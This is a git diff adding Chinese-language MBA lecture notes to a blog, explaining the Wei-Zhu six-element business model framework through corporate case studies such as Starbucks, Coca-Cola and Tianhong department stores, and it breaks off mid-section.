+假设企业家加盟品牌酒店，预计建设面积2万平方米，实际建设面积5万平方米。随着品牌酒店引流，带动另外3万平方米租金上涨，企业通过收取租金挣钱，最终实现品牌酒店这个利益相关方的资源能力变现。 + +第三，聚焦镜。在现有的利益相关方下，找到最佳的合作方式和盈利模式(交易结构)，推动价值实现效率的最优化。然后将利益相关方没有进入到交易场景的资源能力进行匹配，产生新的交易结构，然后分析交易结构能否创造更多价值。如果可以，则该商业模式可行，不过也要随着市场变化而相应调整。 + +从成功路径角度，战略终极目标是形成企业可持续竞争优势；商业模式则是形成独特的利益相关方交易结构、价值空间的更大化与价值实现效率的最优化。 + +1.4.3 商业模式视角与战略视角 + +战略从“我”的视角出发，试图解决你（客户）、我（焦点企业）和他（竞争对手、供应商）之间的关系。它关注在自身产品持续的演进、迭代，最终建立持续的竞争优势（关注竞争对手）。 + +![](/uploads/2019/06/03-165.png) + +商业模式是站在一个生态之上，站在芸芸众生之上看“我”（焦点企业）在其中的角色，分析整个商业生态的业务活动，试图在现有基础上拓展价值空间、发现更有效率的业务活动组合，力图找到焦点企业在商业生态中的位置，通过改善利益方之间的合作模式与盈利方式（激励方式），提升价值空间的实现效率，最终形成多个利益相关方合作共赢的共生体。 + +![](/uploads/2019/06/03-166.png) + +1.4.4 商业模式与营销、管理区别 + +商业模式是企业创造价值、传递价值、获取价值的逻辑，这与营销、管理、组织创造价值的逻辑异曲同工。营销是改善消费者对产品的感觉与知觉、记忆与思维，通过营销提高品牌价值，如vivo。管理是对组织所拥有的资源进行有效的计划、组织、领导和控制，通过管理提升工作效率，如富士康。 + +二、“魏朱六要素商业模式”模型 + +商业模式是企业为了实现最大化价值而构建的从事业务系统活动利益相关者的交易结构。但商业模式绝不仅限于此，我和朱武祥教授又创造了“六要素商业模式模型”，从定位、业务系统、关键资源能力、盈利模式、现金流结构、企业价值六个不同的维度，来研究企业交易结构。这六个维度全部与商业模式密切相关，没有涉及到的就隶属于其他管理理论。 + +![](/uploads/2019/06/03-167.png) + +2.1 “魏朱六要素”之业务系统 + +业务系统图是由三部分构造而成的。第一，构型，即交易连接的结构。第二，角色，即从事一定业务活动并有资源能力禀赋的利益相关者。第三，关系，包括两部分。第一部分，业务交易关系——买卖交换、资源合作与交互。 + +案例：业务交换 + +假设甲卖给乙东西，成本5元，乙心理价位10元。双方经过讨价还价，最终7元成交。交易完成后，甲赚取2元，乙得了3元便宜，整个交易创造价值增值5元。 + +![](/uploads/2019/06/03-168.png) + +案例：业务合作 + +甲有一支5元的笔，乙想出一笔钱购入，然后10元卖给丁。也就是说，乙帮助甲把5元的笔以10元卖给丁，我们这个合作体就有5元的价值增值，以7：3分成，最终甲赚取2元，乙赚取3元。 + +![](/uploads/2019/06/03-169.png) + +第二部分，治理交易关系——针对利益主体剩余权利，分为所有权交易、非所有权交易。一旦甲公司拥有了乙公司20%股权，就意味着乙这个利益主体在将来赚的任何钱，甲都有20%控制权。 + +一个真正有效率的交易，一定都是依靠价格的纯市场化交易，股权交易会使大家成为一个整体。如果企业先进行股权交易、再进行业务交易，就会增加交易成本，因为一旦供应商成为企业股东，企业就无法选择更合适的供应商、无法讨价还价，而且还需要花很多时间去管理、协调多方关系。所以，企业不如放弃期权交易，以客户身份和供应商谈判、议价，以此提高交易效率。 + +关于治理交易与业务系统关系详细情况，请同学们参考学术论文： + +魏炜，林桂平，朱武祥.从治理交易关系与业务交易关系探讨企业边界及相关命题——一个多案例研究的发现. 管理评论, 2016 , 28 (4) :212+ 224. + +2.1.1 案例：木屋烧烤 + +木屋烧烤业务系统的左半部分，与任何一个开餐饮的业务系统毫无二致，包括直营店、供应商、采购部等，每个供应商都有自己的业务单元、合作伙伴。但是，与其他餐饮企业相差较大的地方在于，木屋烧烤有很多不一样的利益相关方，包括美团、大众点评、易代驾，原因在于木屋烧烤虽然将街边摊登堂入室，但是却以街边摊的价格、饭店的质量与服务吸引众多顾客。由此，吸引许多线上互联网公司购买木屋烧烤约几十元不等的线下流量，这比线上高达几百元的流量费更物美价廉。所以，木屋烧烤很大一部分收入来源于电商支付的流量费。 + +![](/uploads/2019/06/03-170.png) + +2.1.2 案例：海澜之家 + +海澜之家的业务系统乍一看，无非就包括供应商、连锁店、加盟店、直营店等，实际上有两点值得研究。第一，虽然同是加盟店，但是海澜之家加盟店的经营者、店长均由总公司委派，加盟商相当于投资人。通常个人加盟服装连锁店，需支付5万元甚至倒贴钱才能开业。但是，海澜之家加盟费却高达150万元。本质上，昂贵的加盟费缘由在于海澜之家将店铺未来收益变现，即加盟商投资店铺、海澜之家帮助它经营，按照约40%分红，由此吸引更多投资人。 + +第二，海澜之家将设计活动分为两部分：海澜之家亲自进行产品选款、定位，供应商设计具体的产品。也就是说，海澜之家将权利牢牢把控、但是并不承担设计风险，供应商将设计的产品发往加盟店，如果产品销量不佳，供应商就得承担责任。由此，提高设计精细化。对于海澜之家本身来说，需要进行广告宣传、雇佣优秀的店长运营。于是，自然而然提高供应商的配合度。通俗来说，就是跟着大佬混，有肉吃。 + +![](/uploads/2019/06/03-171.png) + +2.2 “魏朱六要素模型”之定位 + +2.2.1 如何定位 + +商业模式定位指的是满足客户需求的方式，即交易方式。主要包括两个场景： + +场景一：战略定位，即企业要明确目标用户类型，为其提供何种产品或者服务。 + +场景二：营销定位，包括三个方面。第一，企业需明确目标客户需求，进行消费者洞察。第二，企业需明确产品的价值主张，如成本优势、性能优势或体验优势。第三，企业需明确产品价值感受，包含获益——产品的真正价值及痛点——产品对客户造成的使用价值。作为企业，需要以消费者需求为中心，通过交易让顾客获益，减少痛点。 + +![](/uploads/2019/06/03-172.png) + +案例：节能设备公司——卖产品到卖服务 + +假设有一家企业，曾经以售卖节能设备给商业中心为商业模式，现在改为售卖服务、设备免费商业模式，这就是交易方式的变化，即由卖产品改为卖服务。 + +案例：果汁经销商——卖服务到卖产品 + +果汁经销商商业模式从卖服务到卖产品，即从经营连锁店贩卖果汁，到通过贩卖榨汁机、原料满足顾客DIY需求，到成立电商网站，顾客下单、送餐员配送。这种转变给交易双方带来的价值各不相同，这与产品服务毫无关系，而是通过改变交易方式来满足顾客需求、影响价值创造与获取。 + +2.2.2 案例：天虹全渠道商业模式 + +我们有一个通用的工具，来查看的双方在交易前、交易中、交易后的方式。例如，O2O模式就是将线上交易及线下交易重新组合，创造新的交易方式，即线上浏览、线下购买，亦或线上浏览，线下取货、送货到家等。 + +天虹商场1984年成立以来，通过人本、科学的管理，专业、高效的运营，在行业内率先突破传统百货购物模式，从实体店走向线上线下融合的数字化，率先打造出全国首家拥有“自定义菜单”的零售微信服务号“天虹”，随后逐步创新，在实体门店的基础上增加了购物中心与便利店的一大一小业态，并通过官方APP虹领巾、天虹微信，形成线上线下融合的数字化、多业态战略发展格局，是迄今为止百货转型O2O最为成功的一家。 + +![](/uploads/2019/06/03-173.png) + +天虹共有七种场景为交易双方创造价值，并且植入APP中去做在线交易，包括线下支付——传统实体店购物、在实体店用移动支付，线上支付——实体店购物、门店送货，线上支付——门店虚拟货架购物，线上支付——门店提货、门店送货、分拣中心送货及线上支付——产地直发。作为传统百货公司，银泰即使和阿里巴巴合作，也仅有30%阿里会员变为银泰会员，而天虹商场却可以让100%的用户成为在线会员。 + +2014年，我曾参加天虹商业模式创新研讨会，建议他们转型做O2O。自此以后，企业转型成功。2015年，我推荐天虹成为中国管理模式杰出奖的获奖企业之一。天虹董事长高书林说：“2014年，我每天都很焦虑，而2015年下半年以来，我每天睡得都很安稳，原因可能在于天虹O2O系统虽然还未产生效益，但是建设成功，曾经一直以为要被颠覆的传统百货业，自救成功。” + +人焦虑主要是有两个原因：第一，未来那个不好的情况会发生，而且很可能发生，但是又不是百分之百的发生。如果百分之百的发生，就不会焦虑。第二，我自己使不上劲，我无论怎么做都无法阻挡不好事情发生的步伐。就像在2014年五一前后，受新媒体冲击，很多纸媒的主编、副主编不约而同跳楼自杀。 + +2017年，第五届全球商业模式论坛，我们分了4个模块——包括制造业、零售业、内容行业、金融科技，邀请12家企业——以创业公司、行业龙头企业为主。天虹战略发展总监揭超参加了交流，有些人很好奇——一家国有企业居然可以转型成功，是不是邀请了新人来做事？揭总很肯定的否认了此事。他认为，“天虹转型成功很重要的原因在于——大家用商业模式这套理论和工具在处理问题时，达到了共识。”很多企业商业模式转型不成功的原因就在于高层之间、中层之间达不成共识，你站在每个人的逻辑角度，会发现都是对的，由此导致企业按兵不动，无法进行改革。 + +2.3 “魏朱六要素模型”之关键资源能力 + +关键资源能力：指让商业模式运转所需要的相对重要的资源和能力。企业内的各种资源能力的地位并不是均等的，不同商业模式能够顺利运行所需要的资源能力也各不相同。例如，同样贩卖电视机，有些企业选择自己进行研发、生产、建渠道、打广告，然后卖给顾客；有些企业，则将电视机免费送给顾客，但是通过其他产品或服务收费。这两种商业模式，所需要的销售能力、研发能力不一样，即关键资源能力不一样。 + +核心资源能力概念是相对于竞争对手而言，企业资源能力所创造的价值具有稀缺性、难以替代性、不可模仿性，由此产生企业独有的竞争优势。主要包括两类： + +一类是根据商业模式的其它要素的要求确定。例如不同业务系统需要的关键资源能力就是不相同的，不同盈利模式需要的关键资源能力也不一样。 + +另一类是以关键资源能力为核心构建整个商业模式。常见做法包括： ++ 以企业内的单个能力要素为中心，寻找、构造能与该能力要素相结合的其他利益相关者； ++ 对企业内部价值链上的能力要素进行有效整合，以创造更具竞争力的价值链产出。 + +现如今，第二类方式越来越常见，而第一类方式一般用于一个已经存在的公司，但有时会将企业拥有的优势资源能力变成负担，因为企业总想运用新模式进行业务创新，而一旦践行就会发现问题重重，这是大企业想实现颠覆性创新商业模式所遇到的通病。其实，问题原本并不存在，但是人的认知总是局限于——如果我做一件事，没有用到我的资源能力，就会感到这件事是不对的。 + +例如，初创企业，几个人就可以快速做出独角兽，在成为独角兽后，人们发现，该企业怎么有如此多的资源能力，而当企业自己手握这些时，又会发现“英雄无用武之地”，这就是思维差异造成认知盲点，最后将我们已有的资源能力变成包袱，使我们难以前行。 + +2.4 “魏朱六要素模型”之盈利模式 + +盈利模式对企业至关重要，包括收支来源与收支方式。 + +2.4.1 收支来源 + +收支来源是指企业内外部相关方与企业的关系，即哪些是付款方、哪些是收款方。在互联网出现之前，传统企业的盈利模式十分简单，主要为企业生产产品，卖给相关利益方，顾客。由于企业卖的产品对顾客有价值，所以顾客需要向企业付款；企业的供应商、合作伙伴、员工为企业提供有价值的产品及服务，所以企业需要向他们付款。 + +由此可见，一个收入来源，N个费用支付方向。但在互联网出现之后，企业商业模式变为为用户提供产品，以免费的形式，为客户带来价值。如果企业收费可能会造成关门大吉，但是不收费可能又无法持续经营。因此，大家普遍认为互联网思维就是免费。其实不然，免费不是问题，企业如何赚钱才是问题的核心，所以企业可以设计收支来源。 + +案例：连锁加盟酒店 + +假设一家企业在二、三线城市经营连锁加盟店铺，但由于连锁店对店长、员工的素质要求较高，导致难觅良将、企业经营困难。所以，企业总部会在中心城市开办培训学校，聘请老师培训，合格后录取为公司正式员工，然后将3+ 5名员工派往加盟商。这些员工以过硬的专业技能，为加盟商带来更高的收入。于是，这些人的培训费、工资、奖金会由加盟商承担。由此，企业总部将员工变成了收入的来源，建立内部的劳动力市场。由此可见，收支来源，谁给谁付钱，不是唯一的方式，而是可以进行设计的。 + +但是，企业一定要让总的价值创造超过总的价值成本，也就是说，企业每个利益相关方获取的价值一定要超过他们所做事情的机会成本，才可以赚钱。如果不超过的话，企业的商业模式将不可持续，纵有一大批免费员工，也无济于事。 + +2.4.2 收支方式 + +收支方式，以零售商和供应商或者品牌商的交易关系为例，共有三种： + +第一，固定收益模式。品牌商租赁零售商店面，根据租赁面积支付租金，进行产品贩卖。 + +第二，分成模式。品牌商与零售商合作，将产品收益以6：4分成，即每售出100元产品，品牌商分60元，零售商分40元。 + +第三，剩余价差模式。零售商买断品牌商产品，销售给顾客，赚取价差。 + +由此可见，同一品类在不同零售商会有不同收支方式，在不同条件下会创造不同的价值。 + +案例：美国在线旅游市场 + +第一，HomeAway，广告费/固定租金模式，即房东将房子放在平台上交易，交租金$300/年。 + +第二，Expedia，价差模式，即平台将房子买断，加价卖给顾客。 + +第三，Priceline，拍卖加顾客定价模式，即通过将高档酒店尾房买断，放到平台上，由顾客进行竞价，收取交易费用 + +全世界共有5大类收支方式： + +第一，固定剩余分成模式。 + +第二，进场费、过路费、油费、分享费模式。 + +第三，拍卖模式。 + +第四，顾客定价模式，如打赏。 + +第五，剃须刀刀片组合计价模式，如团购、长尾模式。 + +这五类模式虽然看似麻雀虽小，但是却可以组合出成千上万种不一样的收支方式，仅仅从这个角度来看，就会让企业商业模式千差万别。所以，商业模式创新空间依旧潜力巨大，未来可期。 + +2.5 “魏朱六要素模型”之现金流结构 + +现金流结构，即以利益相关者划分的企业现金流流入的结构和流出的结构以及相应的现金流的形态。它实际上是决策变量而不是结果变量，企业通过更改现金流结构的参数来重构商业模式，最终改变企业价值。具体而言，现金流结构是在现在的时间点上，企业相关利益方给企业亦或企业给相关利益方所支付的现金，这二者差额叫净现金流量，存在于每一年、每一天、每一刻。由此可见，净现金流量的结构体现企业现金流在不同时间点的分布形态。 + +“魏朱六要素商业模式”模型有些要素看似是静态的，包括商业模式定义——利益相关者交易结构，实则不然。从现金流结构这个要素可以看出，其实商业模式是动态的，交易结构在现金流方面的呈现是不断变化的。所以，现金流结构对企业举足轻重，可以使企业商业模式别出心裁。 + +案例：星巴克与麦当劳 + +星巴克与麦当劳的商业模式、现金流结构迥然不同，这致使麦当劳经营几十年才开到3万多家店铺，而星巴克十几年就和麦当劳店铺数量相抗衡。 + +麦当劳以直营+加盟为商业模式。第一，雇佣店长开直营店，积累顾客、获得利润。第二，直营店赚钱后，放开加盟。第三，直营店店长可通过开加盟店单干，在第一家持续经营后，才可再开下一家。由此，提高加盟店成功率、保证高品质运营。但是，这种商业模式导致店铺开业速度较慢，因为不是每一个店长都愿意自己单干，也不是每一个愿意自己单干的店长都愿意同时经营很多家店铺。 + +星巴克以加盟+直营为商业模式。第一，招募加盟商，承担店铺选址、投资与运营。第二，加盟商必须签署回购协议，三年后如果店铺赚钱，星巴克进行溢价回购，加盟店变成直营店。这种模式对于星巴克而言，可以降低投资风险及前期投资成本；对于加盟商而言，可以通过星巴克8+ 9倍溢价回购，获得投资收益。成功率80%就是一个好的加盟项目，任何项目都不可能100%成功，麦当劳进入中国这么多年，不管选址多精细，也会有赔钱的店，所以星巴克回购股权的做法，有助于降低加盟商投资风险。 + +因此，交易一定是共赢的，只有一方挣钱的生意不会长久。我一直建议上市公司以“交易”的方式进行扩张、发展，由此提高利润增长率、明确增长预期，继而提高市盈率、股价。星巴克在扩张时，它的市盈率在美国市场常年稳定在50倍甚至60倍，然后以8倍、9倍去溢价，于是在收购加盟商股权的时候，星巴克实际花费的资本成本其实很低。所以，上市公司的并购是在企业预期好、市盈率高时，并购资金成本才较低；如果市盈率很低，企业还不如直接向银行贷款。 + +当然，星巴克经营模式有一个很严重的漏洞，虽然星巴克都会和加盟商签署回购协议，但是并不是所有加盟商都愿意执行这个协议，因为加盟商在经营过程中发现星巴克真是摇钱树，谋求独立经营，而不愿意被总公司回购。于是，增加交易成本。例如，星巴克最早在北京开业的时候，因为没想到最后会如此火爆，所以加盟商最初签署的回购价格偏低，在经历一番讨价还价后，才将价格提高一点。 + +由此可见，虽然星巴克商业模式的价值创造逻辑完整，套利空间巨大，但是依旧白璧微瑕。所以，星巴克通过增加区域投资商这个利益相关方，由他们与家门店进行签约、许可、回购协议，然后从他们手里买店。 + +综上，星巴克的模式是将未来收益当前化或将当前收益未来化。 + +2.6 “魏朱六要素模型”之企业价值 + +企业价值，即企业的投资价值，是企业预期未来可以产生的自由现金流的贴现值。 + +案例：肯德基 + +同样是开店复制，肯德基的做法却与麦当劳及星巴克截然不同。 + +以二三线城市为例，肯德基首先开直营店，成功赚钱后，放开加盟，收取加盟商加盟费、许可费、广告费，约占营业额8%。同时还要收取店铺转让费，因为肯德基是将一个赚钱的店铺卖给加盟商，所以要根据店铺预期收益进行贴现，以企业价值定价。也就是说，肯德基的现金流模式是出售确定的未来收益，或者将未来收益当前化。 + +每一个利益主体都有自身的商业模式，大家共处在交易结构中，各自发挥作用，共同创造价值，再按照盈利模式分配价值。当然，这些做法都有它的前提条件，即都是要去创造价值，然后获取价值，获取时候要超过各自投入资源能力的机会成本。如果能够持续超过机会成本，这个交易结构就会很稳固；一旦不能超过机会成本，交易结构就要改变。 + +2.6.1 案例：中美浏览器企业 + +Netscape公司，通过贩卖浏览器软件赚钱，定价$38，在两年内使几乎所有用户PC桌面都安装了该软件。微软，作为PC时代的王者，开发出与Netscape一模一样的产品，IE浏览器，以免费模式卖给用户，并通过Windows、Office收费获得盈利。由于用户使用微软操作系统，也就顺理成章使用IE浏览器。最终，Netscape被打败，于1998年11月，被美国在线（AOL）收购，并于2008年3月1日停止安全更新和所有的技术支持，退出历史舞台。从此以后，浏览器免费成为标配。 + +奇虎360，以浏览器免费+广告收入为商业模式。在其4000亿的市值中，约60%收入来源于导航条，约40%来源于360游戏中心、360搜索等。 + +同样是浏览器，搜狗虽然和360模式类似，但是产品组合不一样，它是通过让用户安装输入法进行裂变获客，然后向用户推荐搜狗浏览器，继而通过导航条、游戏中心、搜索实现变现。 + +![](/uploads/2019/06/03-174.png) + +2.6.2 案例：可口可乐 + +众所周知，可口可乐有个不为人知的神秘配方。可口可乐的副总裁，拥有神秘配方三个人之一，在2012年全球商学院教授的商业模式创新讨论会中，曾说：“10年之后，可口可乐的百年配方就会作废，所以我们开始研究新的配方，等待着那一天的到来。” 2012年7月，中国坊间传闻，可乐当中有一种原料成分喝多了会致癌。消息一出，百事可乐回应道，“即使有，消费者也喝不到致癌的程度。”而可口可乐则从容应对，“我们可以将此原料成分减少一半。”可口可乐的回应何其英明，因为如果将该原料全部剔除，就会坐实致癌传闻。而如果采取中间路线，由于人的记忆是短暂的，过不了多久该事件的风头就会被其他热点事件所替代。 + +可口可乐的商业模式十分厉害，世界上有两个可口可乐公司，一个是大家熟知的可口可乐，还有一个是可口可乐企业，即浓缩液公司。两家都为上市企业，而可口可乐企业以重资产为运营模式，可口可乐品牌作为其母公司，占有约30%股份。可口可乐企业（浓缩液公司）负责在全世界找合作伙伴。在中国，找到中粮、益海嘉里投资建设瓶装厂。通常来说，60%瓶装厂以加盟、20%以参股、约10%以控股为模式，通过连锁的方式运营瓶装厂。而可口可乐指挥可口可乐企业（浓缩液公司）建渠道、打广告、搞策划来进行销售，为企业赚取利润。 + +巴菲特投资可口可乐赚取巨额利润，实际上他买的护城河是可口可乐，而非可口可乐企业（浓缩液公司），因为可口可乐企业收益率、股价一直很低。可口可乐后来创立过很多子品牌、产品，但是只要这个产品和可口可乐模式不匹配，就会以失败告终。 + +![](/uploads/2019/06/03-175.png) + +![](/uploads/2019/06/03-176.png) + +三、“魏朱六要素”商业模式画布 + +我们迄今为止看到的99.99%的优秀公司，都以商业模式独特著称。我们可以通过“魏朱六要素”商业模式画布来理顺逻辑。 + +这个画布分成两部分，一部分在左边，讲述企业背景资料，包括基本情况——成立时间、主营业务、主要产品、营收规模、员工人数，战略定位——顾客、产品，营销定位——顾客需求、产品价值主张、顾客价值感受，业务收支结构——收入结构、成本结构，组织结构。 + +另一部分在右边，最中间为业务系统图，然后依次为企业商业模式定位、关键资源能力、盈利模式、现金流、企业价值。 + +![](/uploads/2019/06/03-177.png) + +商业模式决定企业效率，上市公司可以用企业市值间接预估企业价值；对于未上市企业，可以通过它的通用效率、时间效率、成本效率、人力资源效率判断商业模式优劣，如人均营业额、人均利润、人均流量、人均顾客数或者顾客增长率等。例如，实体零售的坪效指每平方米营业面积上所能产生的营业额，是衡量一家超市或百货的经营情况的重要指标。 + +综上所述，企业可以运用商业模式画布去提炼关键点，然后和投资人谈判、融资，最终不断壮大企业，实现可持续经营。 + +提问环节 + +问题1：请问传统商业模式工具，比如4P、SWOT、波特五力模型，是不是已经随着时代的发展而过时了？我从事传统制造十几年，现在在创业，每次都被投资方步步紧逼，请问如何解决？谢谢。 + +魏教授：首先，4P、SWOT、波特五力属于战略分析工具，而不属于商业模式范畴。战略是建立在商业模式已经确定的情况下，用战略工具来分析企业应该采取哪种战略。如果商业模式不行，战略工具也无济于事；如果运用商业模式工具进行设计，战略工具依然行之有效。 + +其次，创业者被投资人步步紧逼其实是常态，因为投资方给企业融资，就是为了获得收益。企业可以将此作为鞭策的力量，不断前行。 + +问题2：近两年区块链技术逐渐开始落地，请问魏老师区块链最有可能颠覆现有的哪一类商业模式？最有可能产生哪种新的商业模式？作为一个自媒体公众号的创作者，如何打造适合自己的商业模式？ + +魏教授：我最近也对区块链做了一些研究，发现商业模式理论和工具对指导区块链建设很有帮助，所以我们最近打算和一些专家合作，出版新书《区块链世界》，探讨在区块链世界设计商业模式。 + +第一，我认同麦肯锡的预测，大概3+ 5年，也就是到2020年，区块链就可以开始普及到各行各业，所有公司、用户背后的应用都应该是区块链。就像信息化一样，现在如果哪个公司没有ERP（企业资源计划）、CRM（客户关系管理）、SCM（供应链管理）将会寸步难行。 + +第二，区块链是基于操作系统基础上，帮助企业搭建应用。没有哪一种应用将会成为一个爆款、杀手级应用，对于一个公司来说，你应该积极去拥抱、使用。诚然，我们现在的一些应用还都比较初级，但是可能一年半到两年，这些应用就会有较大提升。有了应用之后，包括自媒体在内的一些行业都会发生一些变化。 + +现在，自媒体一篇10万+的文章诞生，被人转发，自媒体人却无法获得广告费，也无法保护自有版权。而以后这些都会基于区块链，自媒体人做的任何贡献都会被呈现，将会拥有数字资产所有权。所以，自媒体人将会有各种各样的方法来保护数字版权，也将促使交易尽快发生。 + +至于具体的一些应用，实际上很多大公司，BAT、Facebook、Google，这种公司就是靠数字资产没有产权才能扩大规模。很多公司不愿意革新，甚至技术已经成熟了依然静观其变，撞了南墙才回头，比如扎克伯格的Facebook，即使非常重视隐私保护，仍然有漏网之鱼。 + +2018年5月25日，欧盟个人数据保护新规“通用数据保护条例”正式实施，面向所有收集、处理、储存、管理欧盟公民个人数据的企业，限制了这些企业收集与处理用户个人信息的权限，旨在将个人信息的最终控制权交还给用户本人。Google、Facebook之类的企业不得不将在欧洲的端口全部关闭，因为如果欧洲人使用后发现侵犯了个人数字隐私，个人可以申诉公司，最高索赔可达2000万欧元。尽管中国企业目前还对隐私保护还不太重视，但是我相信如果未来3+ 5年内魏则西事件再发生几次，就会逼迫企业改革。所以，假如你可以把握好时机，趁这些公司还在摇摆不定时，在相关领域开发创新应用，就可以寻找到市场机遇。 + +问题3：最近ofo爆出资金困难，摩拜也被美团收购，请问您认为共享单车最终可以盈利吗？应该采用哪种商业模式可以实现可持续发展？谢谢。 + +魏教授：首先，共享单车确实给用户创造了一些价值，但是由于恶性竞争等原因，让企业难以将价值变现，同时造成很多资源的浪费。 + +但是从另外一个角度看，实际上ofo和摩拜对于阿里和腾讯有很大影响，因为阿里和腾讯在争支付端的入口，而他们对这个入口的估值非常高，远远超过其购买的这些单车成本。所以，这2家公司实际上在一定程度上导致了共享单车的过度竞争。我觉得如果将共享单车的规模缩小一点，解决恶性竞争的问题，还是可以维持运营，但是至于能否获取利润，这可能是另外一个问题。 + +看待一件事情时，有时可能不能站在一个公司的角度看，而是应该将它看作一个更大系统的一部分，这时候你就会发现，企业的成本、盈利与否就不是那么重要，由于它的存在可能让整个生态系统挣钱更多，牺牲它一个，造福更多的利益相关方。 + +半年前美国的一个对冲基金经理说：“目前的投资范式可能已经发生变化，以前我们都是用净现金流量贴现去给一个公司估值，现在价值投资可能失效了。”这位投资人是做价值投资的，在2010年之前一直业绩良好，后来他一直看空特斯拉、亚马逊这类公司，结果赔了很多钱。 + +最后，得出一个结论——投资的范式变了，即将来这些公司可能一辈子都不会挣钱，但是它的估值依然会很高。我的理解是，这类公司实际上它创造了巨大的价值，它给整个商业生态系统创造了的价值，生态系统的其它利益相关方因为它的存在挣了更多的钱。股市对这个公司的估值，实际上不是针对这个公司的，而是针对它所在的生态系统。 + +如果从这个角度来看，投资的范式、价值创造的逻辑就没有变，而区块链就可以实现这一点，让你对一个公司的估值，对一个区块链的估值可以很容易得到验证。如果将共享单车放到阿里或者腾讯的支付生态系统中，可能就是它们的促销费，至少在现在来看，市场价比促销费用还低。 + diff --git a/_posts/2019-06-03-399-mba0804.md b/_posts/2019-06-03-399-mba0804.md new file mode 100644 index 0000000..4f9f89f --- /dev/null +++ b/_posts/2019-06-03-399-mba0804.md @@ -0,0 +1,246 @@ +--- +layout: post +title: 【商业模式模块】 第4节 商业模式与竞争优势 +pid: 399 +tags: [mba] +--- + +商业模式与竞争优势 + +引言 + +参透商业模式，分析企业成功之道、失败之殇。混沌大学商学院【商业模式模块】最终篇，魏老师将重点论述两个话题。第一，如何通过商业模式定位设计、盈利模式工具、关键资源能力设计、现金流设计，帮助企业在瞬息万变的市场环境中破局。第二，如何通过价值创造和套利构建企业竞争优势。 + +一、如何构建创新商业模式 + +1.1 案例：静电复印技术 + +上世纪50年代，美国的技术专家及企业家发明了静电技术，将复印速度翻倍。一般用户对于复印机的接受价位为300美元，而新复印机的成本就高达2000美元，所以市场接受度很差。此时如果采用以下八种商业模式设计方法，销量将会大有改观。 + +第一，一次性现金交易，即以复印张数收费，卖给使用量大的用户。第二，按复印张数进行收费。第三，按租赁时间进行收费。第四，卖给金融机构，由它和客户进行交易。第五，自建平台或通过连锁加盟形式贩卖设备。第六，网络服务模式，如客户将打印资料通过网络提交，复印好后再快递到客户处。第七，专利授权模式。第八，掌握关键零部件，为客户提供产品核心部件，如 Intel、ARM。 + +1.2 商业模式定位设计 + +商业模式可以从交易成本与交易价值两个角度进行定位。我们把交易过程分为三类，即搜寻阶段、讨价还价阶段、执行合约阶段。现在社会两个利益主体分别采取线下面对面交易与线上虚拟交易。以购买手机为例，交易成本与交易价值在不同阶段各不相同。 + +![](/uploads/2019/06/03-178.png) + +![](/uploads/2019/06/03-179.png) + +通过对交易三个环节，线上线下两种不同方式对交易成本与交易价值的影响，可以产生一种新的满足顾客需求方式，即线上搜寻，线下讨价还价、执行交易。所以，在O2O流行时，诞生许多美甲到家、美容到家的公司，但是由于在搜寻阶段，线上成本低，在执行阶段，线下成本高。由此可见，这种模式无法为交易双方带来价值增值，所以模式不可行。 + +1.3 盈利模式工具 + +盈利模式分为三种： + +第一，价格高低（定量），即企业自身的成本结构、竞争对手的定价水平、产品或服务带给客户的价值认知，由供求关系决定。第二，盈利来源（定向），即自有业务及其升级、源于企业独特的资源能力、寻找利益相关方之间的关联。第三，盈利方式（定性），即单一产品/服务定价：固定、剩余和分成；顾客定价；拍卖定价；组合定价：产品组合定价和消费群体组合定价；综合定价。盈利来源和盈利方式与交易双方的资源能力、创造价值的特点决定，也就是说，由交易双方实力决定。 + +1.3.1 收支来源模型 + +定向收支来源可以用一个模型来表示各种付费场景。横轴表示企业的收入来源，包括直接顾客、第三方顾客、直接顾客&第三方顾客。纵轴表示企业需要支付的成本，包括企业自身支付、第三方支付、企业&第三方各支付一部分、零可变成本支付。其中，零可变成本较为特殊，主要指游戏等软件中植入广告，其边际成本假定为零。于是，我们可以将公司盈利模式中所有的收支来源，抽象成十二分之一。企业可以根据需求随时调整盈利模式，例如由PM0变为PM2，由PM2改为PM8等。 + +![](/uploads/2019/06/03-180.png) + +具体来看，PMO表示顾客给企业收入，企业自己承担成本费用；PM2表示第三方顾客给企业收入，直接顾客不付款，企业承担成本，例如企业免费送顾客瓶装水，顾客需要扫描二维码，企业再找相关方索取广告费。PM8表示企业开展业务，第三方支付相关费用，合作伙伴支付成本，企业无需承担任何费用，例如展会公司办博览会，由票务公司卖票给顾客，赞助方、参展方支付租金，志愿者进行运营。 + +案例：中国好声音 + +中国好声音作为一档运营很好的模式产品，盈利模式除了传统的铃声下载、演艺会分成以外，有两点与众不同。第一，与焦点企业签署对赌协议，即如果节目收视率在一定的标准之上将由双方共同参与广告的分成。如果节目达不到规定的收视标准，灿星制作将单方面担负广告商的损失。第二，与导师合作采取技术入股，即把整个导师团队跟节目后期的市场开发捆绑在一起，导师在节目当中的参与和投入作为投资。 + +作为企业，可以按照这个思路去设计综艺产品，去延展、开创更多的盈利模式。 + +1.3.2 收支方式类型与影响因素 + +以经济学经典案例——农民和地主交易过程为例，存在三种收支方式。 + +第一，采用租赁方式，即地主收取土地固定租金，农民获得剩余收益。在这种情况下，农民将承担风险，因为如果收成不好，农民需要先支付固定租金，剩余才归自己所有。 + +第二，采用雇佣关系，即农民获得固定收益，地主获得剩余收益。在这种情况下，地主将承担风险，因为如果收成不好，农民先取得固定收益，余下才交付地主。 + +第三，采用分成关系，即地主出租土地，农民劳作，劳动成果按照4：6分成。于是，地主和农民共同承担风险，农作物收成好坏影响总体分成结果。 + +影响这三类收支方式的原因有三点：第一，地主和农民对风险意识偏好不同。如果地主和农民均为风险偏好者，则地主偏好雇佣关系，农民偏好租赁关系，二者均获得剩余收益。第二，地主和农民各自拥有资源能力且具备竞争优势。如果农民作为种田能手，地主具备经营及宣传能力，将有效提高农产品产量及销量。第三，地主和农民在交易中，产生交易成本。如果采用 + +分成方式，有可能导致农民虚报农产品销量，影响地主收益，推升交易成本。所以，如果想要控制交易成本，应该采取租赁方式，即地主收取固定租金，农民获得剩余收益。 + +由此可见，这三类因素影响收支方式选择，不同因素对同一种产品影响可能截然不同，创造价值能力也许天壤之别，继而产生千差万别的盈利模式。交易双方资源能力越大，所创造的价值越大，对交易产生的影响也随之增大。反之亦然。 + +1.3.3 交易结构设计：以金风科技为例 + 